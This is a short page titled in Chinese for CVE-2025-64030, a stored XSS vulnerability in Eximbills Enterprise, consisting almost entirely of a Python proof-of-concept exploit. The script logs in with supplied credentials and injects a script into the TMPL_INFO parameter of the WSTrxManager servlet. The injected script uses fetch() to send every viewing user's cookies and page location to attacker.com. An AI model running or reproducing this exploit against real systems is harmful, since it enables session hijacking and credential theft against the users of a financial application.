CVE-2025-64030 Eximbills Enterprise 存储型XSS漏洞

import requests import sys # CVE-2025-64030 PoC - Stored XSS in Eximbills Enterprise # Target: /EximBillWeb/servlets/WSTrxManager def exploit_stored_xss(target_url, username, password): """ Exploit for authenticated stored XSS in TMPL_INFO parameter """ session = requests.Session() # Step 1: Login to obtain authenticated session login_url = f"{target_url}/EximBillWeb/login" login_data = { "username": username, "password": password } print("[*] Attempting to login...") response = session.post(login_url, data=login_data) if response.status_code != 200: print("[-] Login failed") return False print("[+] Login successful") # Step 2: Inject malicious XSS payload via WSTrxManager endpoint exploit_url = f"{target_url}/EximBillWeb/servlets/WSTrxManager" # XSS payload - steals cookies and sends to attacker server xss_payload = '''<script>fetch('https://attacker.com/log?c='+document.cookie+'&u='+btoa(document.location));</script>''' exploit_data = { "TMPL_INFO": xss_payload, "action": "save" } print("[*] Injecting stored XSS payload...") response = session.post(exploit_url, data=exploit_data) if response.status_code == 200: print("[+] XSS payload injected successfully") print("[*] Payload will execute when any user views the affected page") return True else: print("[-] Exploitation failed") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_stored_xss(target, user, pwd)